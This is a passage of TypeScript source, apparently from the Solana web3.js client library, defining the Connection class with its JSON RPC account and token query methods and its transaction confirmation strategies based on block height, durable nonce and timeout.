'UNKNOWN'}`,\n};\n\n/**\n * A connection to a fullnode JSON RPC endpoint\n */\nexport class Connection {\n /** @internal */ _commitment?: Commitment;\n /** @internal */ _confirmTransactionInitialTimeout?: number;\n /** @internal */ _rpcEndpoint: string;\n /** @internal */ _rpcWsEndpoint: string;\n /** @internal */ _rpcClient: RpcClient;\n /** @internal */ _rpcRequest: RpcRequest;\n /** @internal */ _rpcBatchRequest: RpcBatchRequest;\n /** @internal */ _rpcWebSocket: RpcWebSocketClient;\n /** @internal */ _rpcWebSocketConnected: boolean = false;\n /** @internal */ _rpcWebSocketHeartbeat: ReturnType<\n typeof setInterval\n > | null = null;\n /** @internal */ _rpcWebSocketIdleTimeout: ReturnType<\n typeof setTimeout\n > | null = null;\n /** @internal\n * A number that we increment every time an active connection closes.\n * Used to determine whether the same socket connection that was open\n * when an async operation started is the same one that's active when\n * its continuation fires.\n *\n */ private _rpcWebSocketGeneration: number = 0;\n\n /** @internal */ _disableBlockhashCaching: boolean = false;\n /** @internal */ _pollingBlockhash: boolean = false;\n /** @internal */ _blockhashInfo: {\n latestBlockhash: BlockhashWithExpiryBlockHeight | null;\n lastFetch: number;\n simulatedSignatures: Array<string>;\n transactionSignatures: Array<string>;\n } = {\n latestBlockhash: null,\n lastFetch: 0,\n transactionSignatures: [],\n simulatedSignatures: [],\n };\n\n /** @internal */ private _nextClientSubscriptionId: ClientSubscriptionId = 0;\n /** @internal */ private _subscriptionDisposeFunctionsByClientSubscriptionId: {\n [clientSubscriptionId: ClientSubscriptionId]:\n | SubscriptionDisposeFn\n | undefined;\n } = {};\n /** @internal */ private _subscriptionHashByClientSubscriptionId: {\n [clientSubscriptionId: ClientSubscriptionId]:\n | SubscriptionConfigHash\n | undefined;\n } = {};\n /** @internal */ private _subscriptionStateChangeCallbacksByHash: {\n [hash: SubscriptionConfigHash]:\n | Set<SubscriptionStateChangeCallback>\n | undefined;\n } = {};\n /** @internal */ private _subscriptionCallbacksByServerSubscriptionId: {\n [serverSubscriptionId: ServerSubscriptionId]:\n | Set<SubscriptionConfig['callback']>\n | undefined;\n } = {};\n /** @internal */ private _subscriptionsByHash: {\n [hash: SubscriptionConfigHash]: Subscription | undefined;\n } = {};\n /**\n * Special case.\n * After a signature is processed, RPCs automatically dispose of the\n * subscription on the server side. We need to track which of these\n * subscriptions have been disposed in such a way, so that we know\n * whether the client is dealing with a not-yet-processed signature\n * (in which case we must tear down the server subscription) or an\n * already-processed signature (in which case the client can simply\n * clear out the subscription locally without telling the server).\n *\n * NOTE: There is a proposal to eliminate this special case, here:\n * https://github.com/solana-labs/solana/issues/18892\n */\n /** @internal */ private _subscriptionsAutoDisposedByRpc: Set<ServerSubscriptionId> =\n new Set();\n\n /**\n * Establish a JSON RPC connection\n *\n * @param endpoint URL to the fullnode JSON RPC endpoint\n * @param commitmentOrConfig optional default commitment level or optional ConnectionConfig configuration object\n */\n constructor(\n endpoint: string,\n commitmentOrConfig?: Commitment | ConnectionConfig,\n ) {\n let wsEndpoint;\n let httpHeaders;\n let fetch;\n let fetchMiddleware;\n let disableRetryOnRateLimit;\n let httpAgent;\n if (commitmentOrConfig && typeof commitmentOrConfig === 'string') {\n this._commitment = commitmentOrConfig;\n } else if (commitmentOrConfig) {\n this._commitment = commitmentOrConfig.commitment;\n this._confirmTransactionInitialTimeout =\n commitmentOrConfig.confirmTransactionInitialTimeout;\n wsEndpoint = commitmentOrConfig.wsEndpoint;\n httpHeaders = commitmentOrConfig.httpHeaders;\n fetch = commitmentOrConfig.fetch;\n fetchMiddleware = commitmentOrConfig.fetchMiddleware;\n disableRetryOnRateLimit = commitmentOrConfig.disableRetryOnRateLimit;\n httpAgent = commitmentOrConfig.httpAgent;\n }\n\n this._rpcEndpoint = assertEndpointUrl(endpoint);\n this._rpcWsEndpoint = wsEndpoint || makeWebsocketUrl(endpoint);\n\n this._rpcClient = createRpcClient(\n endpoint,\n httpHeaders,\n fetch,\n fetchMiddleware,\n disableRetryOnRateLimit,\n httpAgent,\n );\n this._rpcRequest = createRpcRequest(this._rpcClient);\n this._rpcBatchRequest = createRpcBatchRequest(this._rpcClient);\n\n this._rpcWebSocket = new RpcWebSocketClient(this._rpcWsEndpoint, {\n autoconnect: false,\n max_reconnects: Infinity,\n });\n this._rpcWebSocket.on('open', this._wsOnOpen.bind(this));\n this._rpcWebSocket.on('error', this._wsOnError.bind(this));\n this._rpcWebSocket.on('close', this._wsOnClose.bind(this));\n this._rpcWebSocket.on(\n 'accountNotification',\n this._wsOnAccountNotification.bind(this),\n );\n this._rpcWebSocket.on(\n 'programNotification',\n this._wsOnProgramAccountNotification.bind(this),\n );\n this._rpcWebSocket.on(\n 'slotNotification',\n this._wsOnSlotNotification.bind(this),\n );\n this._rpcWebSocket.on(\n 'slotsUpdatesNotification',\n this._wsOnSlotUpdatesNotification.bind(this),\n );\n this._rpcWebSocket.on(\n 'signatureNotification',\n this._wsOnSignatureNotification.bind(this),\n );\n this._rpcWebSocket.on(\n 'rootNotification',\n this._wsOnRootNotification.bind(this),\n );\n this._rpcWebSocket.on(\n 'logsNotification',\n this._wsOnLogsNotification.bind(this),\n );\n }\n\n /**\n * The default commitment used for requests\n */\n get commitment(): Commitment | undefined {\n return this._commitment;\n }\n\n /**\n * The RPC endpoint\n */\n get rpcEndpoint(): string {\n return this._rpcEndpoint;\n }\n\n /**\n * Fetch the balance for the specified public key, return with context\n */\n async getBalanceAndContext(\n publicKey: PublicKey,\n commitmentOrConfig?: Commitment | GetBalanceConfig,\n ): Promise<RpcResponseAndContext<number>> {\n /** @internal */\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgs(\n [publicKey.toBase58()],\n commitment,\n undefined /* encoding */,\n config,\n );\n const unsafeRes = await this._rpcRequest('getBalance', args);\n const res = create(unsafeRes, jsonRpcResultAndContext(number()));\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n `failed to get balance for ${publicKey.toBase58()}`,\n );\n }\n return res.result;\n }\n\n /**\n * Fetch the balance for the specified public key\n */\n async getBalance(\n publicKey: PublicKey,\n commitmentOrConfig?: Commitment | GetBalanceConfig,\n ): Promise<number> {\n return await this.getBalanceAndContext(publicKey, commitmentOrConfig)\n .then(x => x.value)\n .catch(e => {\n throw new Error(\n 'failed to get balance of account ' + publicKey.toBase58() + ': ' + e,\n );\n });\n }\n\n /**\n * Fetch the estimated production time of a block\n */\n async getBlockTime(slot: number): Promise<number | null> {\n const unsafeRes = await this._rpcRequest('getBlockTime', [slot]);\n const res = create(unsafeRes, jsonRpcResult(nullable(number())));\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n `failed to get block time for slot ${slot}`,\n );\n }\n return res.result;\n }\n\n /**\n * Fetch the lowest slot that the node has information about in its ledger.\n * This value may increase over time if the node is configured to purge older ledger data\n */\n async getMinimumLedgerSlot(): Promise<number> {\n const unsafeRes = await this._rpcRequest('minimumLedgerSlot', []);\n const res = create(unsafeRes, jsonRpcResult(number()));\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to get minimum ledger slot',\n );\n }\n return res.result;\n }\n\n /**\n * Fetch the slot of the lowest confirmed block that has not been purged from the ledger\n */\n async getFirstAvailableBlock(): Promise<number> {\n const unsafeRes = await this._rpcRequest('getFirstAvailableBlock', []);\n const res = create(unsafeRes, SlotRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to get first available block',\n );\n }\n return res.result;\n }\n\n /**\n * Fetch information about the current supply\n */\n async getSupply(\n config?: GetSupplyConfig | Commitment,\n ): Promise<RpcResponseAndContext<Supply>> {\n let configArg: GetSupplyConfig = {};\n if (typeof config === 'string') {\n configArg = {commitment: config};\n } else if (config) {\n configArg = {\n ...config,\n commitment: (config && config.commitment) || this.commitment,\n };\n } else {\n configArg = {\n commitment: this.commitment,\n };\n }\n\n const unsafeRes = await this._rpcRequest('getSupply', [configArg]);\n const res = create(unsafeRes, GetSupplyRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get supply');\n }\n return res.result;\n }\n\n /**\n * Fetch the current supply of a token mint\n */\n async getTokenSupply(\n tokenMintAddress: PublicKey,\n commitment?: Commitment,\n ): Promise<RpcResponseAndContext<TokenAmount>> {\n const args = this._buildArgs([tokenMintAddress.toBase58()], commitment);\n const unsafeRes = await this._rpcRequest('getTokenSupply', args);\n const res = create(unsafeRes, jsonRpcResultAndContext(TokenAmountResult));\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get token supply');\n }\n return res.result;\n }\n\n /**\n * Fetch the current balance of a token account\n */\n async getTokenAccountBalance(\n tokenAddress: PublicKey,\n commitment?: Commitment,\n ): Promise<RpcResponseAndContext<TokenAmount>> {\n const args = this._buildArgs([tokenAddress.toBase58()], commitment);\n const unsafeRes = await this._rpcRequest('getTokenAccountBalance', args);\n const res = create(unsafeRes, jsonRpcResultAndContext(TokenAmountResult));\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to get token account balance',\n );\n }\n return res.result;\n }\n\n /**\n * Fetch all the token accounts owned by the specified account\n *\n * @return {Promise<RpcResponseAndContext<GetProgramAccountsResponse>}\n */\n async getTokenAccountsByOwner(\n ownerAddress: PublicKey,\n filter: TokenAccountsFilter,\n commitmentOrConfig?: Commitment | GetTokenAccountsByOwnerConfig,\n ): Promise<RpcResponseAndContext<GetProgramAccountsResponse>> {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n let _args: any[] = [ownerAddress.toBase58()];\n if ('mint' in filter) {\n _args.push({mint: filter.mint.toBase58()});\n } else {\n _args.push({programId: filter.programId.toBase58()});\n }\n\n const args = this._buildArgs(_args, commitment, 'base64', config);\n const unsafeRes = await this._rpcRequest('getTokenAccountsByOwner', args);\n const res = create(unsafeRes, GetTokenAccountsByOwner);\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n `failed to get token accounts owned by account ${ownerAddress.toBase58()}`,\n );\n }\n return res.result;\n }\n\n /**\n * Fetch parsed token accounts owned by the specified account\n *\n * @return {Promise<RpcResponseAndContext<Array<{pubkey: PublicKey, account: AccountInfo<ParsedAccountData>}>>>}\n */\n async getParsedTokenAccountsByOwner(\n ownerAddress: PublicKey,\n filter: TokenAccountsFilter,\n commitment?: Commitment,\n ): Promise<\n RpcResponseAndContext<\n Array<{pubkey: PublicKey; account: AccountInfo<ParsedAccountData>}>\n >\n > {\n let _args: any[] = [ownerAddress.toBase58()];\n if ('mint' in filter) {\n _args.push({mint: filter.mint.toBase58()});\n } else {\n _args.push({programId: filter.programId.toBase58()});\n }\n\n const args = this._buildArgs(_args, commitment, 'jsonParsed');\n const unsafeRes = await this._rpcRequest('getTokenAccountsByOwner', args);\n const res = create(unsafeRes, GetParsedTokenAccountsByOwner);\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n `failed to get token accounts owned by account ${ownerAddress.toBase58()}`,\n );\n }\n return res.result;\n }\n\n /**\n * Fetch the 20 largest accounts with their current balances\n */\n async getLargestAccounts(\n config?: GetLargestAccountsConfig,\n ): Promise<RpcResponseAndContext<Array<AccountBalancePair>>> {\n const arg = {\n ...config,\n commitment: (config && config.commitment) || this.commitment,\n };\n const args = arg.filter || arg.commitment ? [arg] : [];\n const unsafeRes = await this._rpcRequest('getLargestAccounts', args);\n const res = create(unsafeRes, GetLargestAccountsRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get largest accounts');\n }\n return res.result;\n }\n\n /**\n * Fetch the 20 largest token accounts with their current balances\n * for a given mint.\n */\n async getTokenLargestAccounts(\n mintAddress: PublicKey,\n commitment?: Commitment,\n ): Promise<RpcResponseAndContext<Array<TokenAccountBalancePair>>> {\n const args = this._buildArgs([mintAddress.toBase58()], commitment);\n const unsafeRes = await this._rpcRequest('getTokenLargestAccounts', args);\n const res = create(unsafeRes, GetTokenLargestAccountsResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to get token largest accounts',\n );\n }\n return res.result;\n }\n\n /**\n * Fetch all the account info for the specified public key, return with context\n */\n async getAccountInfoAndContext(\n publicKey: PublicKey,\n commitmentOrConfig?: Commitment | GetAccountInfoConfig,\n ): Promise<RpcResponseAndContext<AccountInfo<Buffer> | null>> {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgs(\n [publicKey.toBase58()],\n commitment,\n 'base64',\n config,\n );\n const unsafeRes = await this._rpcRequest('getAccountInfo', args);\n const res = create(\n unsafeRes,\n jsonRpcResultAndContext(nullable(AccountInfoResult)),\n );\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n `failed to get info about account ${publicKey.toBase58()}`,\n );\n }\n return res.result;\n }\n\n /**\n * Fetch parsed account info for the specified public key\n */\n async getParsedAccountInfo(\n publicKey: PublicKey,\n commitmentOrConfig?: Commitment | GetAccountInfoConfig,\n ): Promise<\n RpcResponseAndContext<AccountInfo<Buffer | ParsedAccountData> | null>\n > {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgs(\n [publicKey.toBase58()],\n commitment,\n 'jsonParsed',\n config,\n );\n const unsafeRes = await this._rpcRequest('getAccountInfo', args);\n const res = create(\n unsafeRes,\n jsonRpcResultAndContext(nullable(ParsedAccountInfoResult)),\n );\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n `failed to get info about account ${publicKey.toBase58()}`,\n );\n }\n return res.result;\n }\n\n /**\n * Fetch all the account info for the specified public key\n */\n async getAccountInfo(\n publicKey: PublicKey,\n commitmentOrConfig?: Commitment | GetAccountInfoConfig,\n ): Promise<AccountInfo<Buffer> | null> {\n try {\n const res = await this.getAccountInfoAndContext(\n publicKey,\n commitmentOrConfig,\n );\n return res.value;\n } catch (e) {\n throw new Error(\n 'failed to get info about account ' + publicKey.toBase58() + ': ' + e,\n );\n }\n }\n\n /**\n * Fetch all the account info for multiple accounts specified by an array of public keys, return with context\n */\n async getMultipleParsedAccounts(\n publicKeys: PublicKey[],\n rawConfig?: GetMultipleAccountsConfig,\n ): Promise<\n RpcResponseAndContext<(AccountInfo<Buffer | ParsedAccountData> | null)[]>\n > {\n const {commitment, config} = extractCommitmentFromConfig(rawConfig);\n const keys = publicKeys.map(key => key.toBase58());\n const args = this._buildArgs([keys], commitment, 'jsonParsed', config);\n const unsafeRes = await this._rpcRequest('getMultipleAccounts', args);\n const res = create(\n unsafeRes,\n jsonRpcResultAndContext(array(nullable(ParsedAccountInfoResult))),\n );\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n `failed to get info for accounts ${keys}`,\n );\n }\n return res.result;\n }\n\n /**\n * Fetch all the account info for multiple accounts specified by an array of public keys, return with context\n */\n async getMultipleAccountsInfoAndContext(\n publicKeys: PublicKey[],\n commitmentOrConfig?: Commitment | GetMultipleAccountsConfig,\n ): Promise<RpcResponseAndContext<(AccountInfo<Buffer> | null)[]>> {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const keys = publicKeys.map(key => key.toBase58());\n const args = this._buildArgs([keys], commitment, 'base64', config);\n const unsafeRes = await this._rpcRequest('getMultipleAccounts', args);\n const res = create(\n unsafeRes,\n jsonRpcResultAndContext(array(nullable(AccountInfoResult))),\n );\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n `failed to get info for accounts ${keys}`,\n );\n }\n return res.result;\n }\n\n /**\n * Fetch all the account info for multiple accounts specified by an array of public keys\n */\n async getMultipleAccountsInfo(\n publicKeys: PublicKey[],\n commitmentOrConfig?: Commitment | GetMultipleAccountsConfig,\n ): Promise<(AccountInfo<Buffer> | null)[]> {\n const res = await this.getMultipleAccountsInfoAndContext(\n publicKeys,\n commitmentOrConfig,\n );\n return res.value;\n }\n\n /**\n * Returns epoch activation information for a stake account that has been delegated\n *\n * @deprecated Deprecated since RPC v1.18; will be removed in a future version.\n */\n async getStakeActivation(\n publicKey: PublicKey,\n commitmentOrConfig?: Commitment | GetStakeActivationConfig,\n epoch?: number,\n ): Promise<StakeActivationData> {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgs(\n [publicKey.toBase58()],\n commitment,\n undefined /* encoding */,\n {\n ...config,\n epoch: epoch != null ? epoch : config?.epoch,\n },\n );\n\n const unsafeRes = await this._rpcRequest('getStakeActivation', args);\n const res = create(unsafeRes, jsonRpcResult(StakeActivationResult));\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n `failed to get Stake Activation ${publicKey.toBase58()}`,\n );\n }\n return res.result;\n }\n\n /**\n * Fetch all the accounts owned by the specified program id\n *\n * @return {Promise<Array<{pubkey: PublicKey, account: AccountInfo<Buffer>}>>}\n */\n async getProgramAccounts(\n programId: PublicKey,\n configOrCommitment: GetProgramAccountsConfig &\n Readonly<{withContext: true}>,\n ): Promise<RpcResponseAndContext<GetProgramAccountsResponse>>;\n // eslint-disable-next-line no-dupe-class-members\n async getProgramAccounts(\n programId: PublicKey,\n configOrCommitment?: GetProgramAccountsConfig | Commitment,\n ): Promise<GetProgramAccountsResponse>;\n // eslint-disable-next-line no-dupe-class-members\n async getProgramAccounts(\n programId: PublicKey,\n configOrCommitment?: GetProgramAccountsConfig | Commitment,\n ): Promise<\n | GetProgramAccountsResponse\n | RpcResponseAndContext<GetProgramAccountsResponse>\n > {\n const {commitment, config} =\n extractCommitmentFromConfig(configOrCommitment);\n const {encoding, ...configWithoutEncoding} = config || {};\n const args = this._buildArgs(\n [programId.toBase58()],\n commitment,\n encoding || 'base64',\n {\n ...configWithoutEncoding,\n ...(configWithoutEncoding.filters\n ? {\n filters: applyDefaultMemcmpEncodingToFilters(\n configWithoutEncoding.filters,\n ),\n }\n : null),\n },\n );\n const unsafeRes = await this._rpcRequest('getProgramAccounts', args);\n const baseSchema = array(KeyedAccountInfoResult);\n const res =\n configWithoutEncoding.withContext === true\n ? create(unsafeRes, jsonRpcResultAndContext(baseSchema))\n : create(unsafeRes, jsonRpcResult(baseSchema));\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n `failed to get accounts owned by program ${programId.toBase58()}`,\n );\n }\n return res.result;\n }\n\n /**\n * Fetch and parse all the accounts owned by the specified program id\n *\n * @return {Promise<Array<{pubkey: PublicKey, account: AccountInfo<Buffer | ParsedAccountData>}>>}\n */\n async getParsedProgramAccounts(\n programId: PublicKey,\n configOrCommitment?: GetParsedProgramAccountsConfig | Commitment,\n ): Promise<\n Array<{\n pubkey: PublicKey;\n account: AccountInfo<Buffer | ParsedAccountData>;\n }>\n > {\n const {commitment, config} =\n extractCommitmentFromConfig(configOrCommitment);\n const args = this._buildArgs(\n [programId.toBase58()],\n commitment,\n 'jsonParsed',\n config,\n );\n const unsafeRes = await this._rpcRequest('getProgramAccounts', args);\n const res = create(\n unsafeRes,\n jsonRpcResult(array(KeyedParsedAccountInfoResult)),\n );\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n `failed to get accounts owned by program ${programId.toBase58()}`,\n );\n }\n return res.result;\n }\n\n confirmTransaction(\n strategy: TransactionConfirmationStrategy,\n commitment?: Commitment,\n ): Promise<RpcResponseAndContext<SignatureResult>>;\n\n /** @deprecated Instead, call `confirmTransaction` and pass in {@link TransactionConfirmationStrategy} */\n // eslint-disable-next-line no-dupe-class-members\n confirmTransaction(\n strategy: TransactionSignature,\n commitment?: Commitment,\n ): Promise<RpcResponseAndContext<SignatureResult>>;\n\n // eslint-disable-next-line no-dupe-class-members\n async confirmTransaction(\n strategy: TransactionConfirmationStrategy | TransactionSignature,\n commitment?: Commitment,\n ): Promise<RpcResponseAndContext<SignatureResult>> {\n let rawSignature: string;\n\n if (typeof strategy == 'string') {\n rawSignature = strategy;\n } else {\n const config = strategy as TransactionConfirmationStrategy;\n\n if (config.abortSignal?.aborted) {\n return Promise.reject(config.abortSignal.reason);\n }\n rawSignature = config.signature;\n }\n\n let decodedSignature;\n\n try {\n decodedSignature = bs58.decode(rawSignature);\n } catch (err) {\n throw new Error('signature must be base58 encoded: ' + rawSignature);\n }\n\n assert(decodedSignature.length === 64, 'signature has invalid length');\n\n if (typeof strategy === 'string') {\n return await this.confirmTransactionUsingLegacyTimeoutStrategy({\n commitment: commitment || this.commitment,\n signature: rawSignature,\n });\n } else if ('lastValidBlockHeight' in strategy) {\n return await this.confirmTransactionUsingBlockHeightExceedanceStrategy({\n commitment: commitment || this.commitment,\n strategy,\n });\n } else {\n return await this.confirmTransactionUsingDurableNonceStrategy({\n commitment: commitment || this.commitment,\n strategy,\n });\n }\n }\n\n private getCancellationPromise(signal?: AbortSignal): Promise<never> {\n return new Promise<never>((_, reject) => {\n if (signal == null) {\n return;\n }\n if (signal.aborted) {\n reject(signal.reason);\n } else {\n signal.addEventListener('abort', () => {\n reject(signal.reason);\n });\n }\n });\n }\n\n private getTransactionConfirmationPromise({\n commitment,\n signature,\n }: {\n commitment?: Commitment;\n signature: string;\n }): {\n abortConfirmation(): void;\n confirmationPromise: Promise<{\n __type: TransactionStatus.PROCESSED;\n response: RpcResponseAndContext<SignatureResult>;\n }>;\n } {\n let signatureSubscriptionId: number | undefined;\n let disposeSignatureSubscriptionStateChangeObserver:\n | SubscriptionStateChangeDisposeFn\n | undefined;\n let done = false;\n const confirmationPromise = new Promise<{\n __type: TransactionStatus.PROCESSED;\n response: RpcResponseAndContext<SignatureResult>;\n }>((resolve, reject) => {\n try {\n signatureSubscriptionId = this.onSignature(\n signature,\n (result: SignatureResult, context: Context) => {\n signatureSubscriptionId = undefined;\n const response = {\n context,\n value: result,\n };\n resolve({__type: TransactionStatus.PROCESSED, response});\n },\n commitment,\n );\n const subscriptionSetupPromise = new Promise<void>(\n resolveSubscriptionSetup => {\n if (signatureSubscriptionId == null) {\n resolveSubscriptionSetup();\n } else {\n disposeSignatureSubscriptionStateChangeObserver =\n this._onSubscriptionStateChange(\n signatureSubscriptionId,\n nextState => {\n if (nextState === 'subscribed') {\n resolveSubscriptionSetup();\n }\n },\n );\n }\n },\n );\n (async () => {\n await subscriptionSetupPromise;\n if (done) return;\n const response = await this.getSignatureStatus(signature);\n if (done) return;\n if (response == null) {\n return;\n }\n const {context, value} = response;\n if (value == null) {\n return;\n }\n if (value?.err) {\n reject(value.err);\n } else {\n switch (commitment) {\n case 'confirmed':\n case 'single':\n case 'singleGossip': {\n if (value.confirmationStatus === 'processed') {\n return;\n }\n break;\n }\n case 'finalized':\n case 'max':\n case 'root': {\n if (\n value.confirmationStatus === 'processed' ||\n value.confirmationStatus === 'confirmed'\n ) {\n return;\n }\n break;\n }\n // exhaust enums to ensure full coverage\n case 'processed':\n case 'recent':\n }\n done = true;\n resolve({\n __type: TransactionStatus.PROCESSED,\n response: {\n context,\n value,\n },\n });\n }\n })();\n } catch (err) {\n reject(err);\n }\n });\n const abortConfirmation = () => {\n if (disposeSignatureSubscriptionStateChangeObserver) {\n disposeSignatureSubscriptionStateChangeObserver();\n disposeSignatureSubscriptionStateChangeObserver = undefined;\n }\n if (signatureSubscriptionId != null) {\n this.removeSignatureListener(signatureSubscriptionId);\n signatureSubscriptionId = undefined;\n }\n };\n return {abortConfirmation, confirmationPromise};\n }\n\n private async confirmTransactionUsingBlockHeightExceedanceStrategy({\n commitment,\n strategy: {abortSignal, lastValidBlockHeight, signature},\n }: {\n commitment?: Commitment;\n strategy: BlockheightBasedTransactionConfirmationStrategy;\n }) {\n let done: boolean = false;\n const expiryPromise = new Promise<{\n __type: TransactionStatus.BLOCKHEIGHT_EXCEEDED;\n }>(resolve => {\n const checkBlockHeight = async () => {\n try {\n const blockHeight = await this.getBlockHeight(commitment);\n return blockHeight;\n } catch (_e) {\n return -1;\n }\n };\n (async () => {\n let currentBlockHeight = await checkBlockHeight();\n if (done) return;\n while (currentBlockHeight <= lastValidBlockHeight) {\n await sleep(1000);\n if (done) return;\n currentBlockHeight = await checkBlockHeight();\n if (done) return;\n }\n resolve({__type: TransactionStatus.BLOCKHEIGHT_EXCEEDED});\n })();\n });\n const {abortConfirmation, confirmationPromise} =\n this.getTransactionConfirmationPromise({commitment, signature});\n const cancellationPromise = this.getCancellationPromise(abortSignal);\n let result: RpcResponseAndContext<SignatureResult>;\n try {\n const outcome = await Promise.race([\n cancellationPromise,\n confirmationPromise,\n expiryPromise,\n ]);\n if (outcome.__type === TransactionStatus.PROCESSED) {\n result = outcome.response;\n } else {\n throw new TransactionExpiredBlockheightExceededError(signature);\n }\n } finally {\n done = true;\n abortConfirmation();\n }\n return result;\n }\n\n private async confirmTransactionUsingDurableNonceStrategy({\n commitment,\n strategy: {\n abortSignal,\n minContextSlot,\n nonceAccountPubkey,\n nonceValue,\n signature,\n },\n }: {\n commitment?: Commitment;\n strategy: DurableNonceTransactionConfirmationStrategy;\n }) {\n let done: boolean = false;\n const expiryPromise = new Promise<{\n __type: TransactionStatus.NONCE_INVALID;\n slotInWhichNonceDidAdvance: number | null;\n }>(resolve => {\n let currentNonceValue: string | undefined = nonceValue;\n let lastCheckedSlot: number | null = null;\n const getCurrentNonceValue = async () => {\n try {\n const {context, value: nonceAccount} = await this.getNonceAndContext(\n nonceAccountPubkey,\n {\n commitment,\n minContextSlot,\n },\n );\n lastCheckedSlot = context.slot;\n return nonceAccount?.nonce;\n } catch (e) {\n // If for whatever reason we can't reach/read the nonce\n // account, just keep using the last-known value.\n return currentNonceValue;\n }\n };\n (async () => {\n currentNonceValue = await getCurrentNonceValue();\n if (done) return;\n while (\n true // eslint-disable-line no-constant-condition\n ) {\n if (nonceValue !== currentNonceValue) {\n resolve({\n __type: TransactionStatus.NONCE_INVALID,\n slotInWhichNonceDidAdvance: lastCheckedSlot,\n });\n return;\n }\n await sleep(2000);\n if (done) return;\n currentNonceValue = await getCurrentNonceValue();\n if (done) return;\n }\n })();\n });\n const {abortConfirmation, confirmationPromise} =\n this.getTransactionConfirmationPromise({commitment, signature});\n const cancellationPromise = this.getCancellationPromise(abortSignal);\n let result: RpcResponseAndContext<SignatureResult>;\n try {\n const outcome = await Promise.race([\n cancellationPromise,\n confirmationPromise,\n expiryPromise,\n ]);\n if (outcome.__type === TransactionStatus.PROCESSED) {\n result = outcome.response;\n } else {\n // Double check that the transaction is indeed unconfirmed.\n let signatureStatus:\n | RpcResponseAndContext<SignatureStatus | null>\n | null\n | undefined;\n while (\n true // eslint-disable-line no-constant-condition\n ) {\n const status = await this.getSignatureStatus(signature);\n if (status == null) {\n break;\n }\n if (\n status.context.slot <\n (outcome.slotInWhichNonceDidAdvance ?? minContextSlot)\n ) {\n await sleep(400);\n continue;\n }\n signatureStatus = status;\n break;\n }\n if (signatureStatus?.value) {\n const commitmentForStatus = commitment || 'finalized';\n const {confirmationStatus} = signatureStatus.value;\n switch (commitmentForStatus) {\n case 'processed':\n case 'recent':\n if (\n confirmationStatus !== 'processed' &&\n confirmationStatus !== 'confirmed' &&\n confirmationStatus !== 'finalized'\n ) {\n throw new TransactionExpiredNonceInvalidError(signature);\n }\n break;\n case 'confirmed':\n case 'single':\n case 'singleGossip':\n if (\n confirmationStatus !== 'confirmed' &&\n confirmationStatus !== 'finalized'\n ) {\n throw new TransactionExpiredNonceInvalidError(signature);\n }\n break;\n case 'finalized':\n case 'max':\n case 'root':\n if (confirmationStatus !== 'finalized') {\n throw new TransactionExpiredNonceInvalidError(signature);\n }\n break;\n default:\n // Exhaustive switch.\n // eslint-disable-next-line @typescript-eslint/no-unused-vars\n ((_: never) => {})(commitmentForStatus);\n }\n result = {\n context: signatureStatus.context,\n value: {err: signatureStatus.value.err},\n };\n } else {\n throw new TransactionExpiredNonceInvalidError(signature);\n }\n }\n } finally {\n done = true;\n abortConfirmation();\n }\n return result;\n }\n\n private async confirmTransactionUsingLegacyTimeoutStrategy({\n commitment,\n signature,\n }: {\n commitment?: Commitment;\n signature: string;\n }) {\n let timeoutId;\n const expiryPromise = new Promise<{\n __type: TransactionStatus.TIMED_OUT;\n timeoutMs: number;\n }>(resolve => {\n let timeoutMs = this._confirmTransactionInitialTimeout || 60 * 1000;\n switch (commitment) {\n case 'processed':\n case 'recent':\n case 'single':\n case 'confirmed':\n case 'singleGossip': {\n timeoutMs = this._confirmTransactionInitialTimeout || 30 * 1000;\n break;\n }\n // exhaust enums to ensure full coverage\n case 'finalized':\n case 'max':\n case 'root':\n }\n timeoutId = setTimeout(\n () => resolve({__type: TransactionStatus.TIMED_OUT, timeoutMs}),\n timeoutMs,\n );\n });\n const {abortConfirmation, confirmationPromise} =\n this.getTransactionConfirmationPromise({\n commitment,\n signature,\n });\n let result: RpcResponseAndContext<SignatureResult>;\n try {\n const outcome = await Promise.race([confirmationPromise, expiryPromise]);\n if (outcome.__type === TransactionStatus.PROCESSED) {\n result = outcome.response;\n } else {\n throw new TransactionExpiredTimeoutError(\n signature,\n outcome.timeoutMs / 1000,\n );\n }\n } finally {\n clearTimeout(timeoutId);\n abortConfirmation();\n }\n return result;\n }\n\n /**\n * Return the list of nodes that are currently participating in the cluster\n */\n async getClusterNodes(): Promise<Array<ContactInfo>> {\n const unsafeRes = await this._rpcRequest('getClusterNodes', []);\n const res = create(unsafeRes, jsonRpcResult(array(ContactInfoResult)));\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get cluster nodes');\n }\n return res.result;\n }\n\n /**\n * Return the list of nodes that are currently participating in the cluster\n */\n async getVoteAccounts(commitment?: Commitment): Promise<VoteAccountStatus> {\n const args = this._buildArgs([], commitment);\n const unsafeRes = await this._rpcRequest('getVoteAccounts', args);\n const res = create(unsafeRes, GetVoteAccounts);\n if 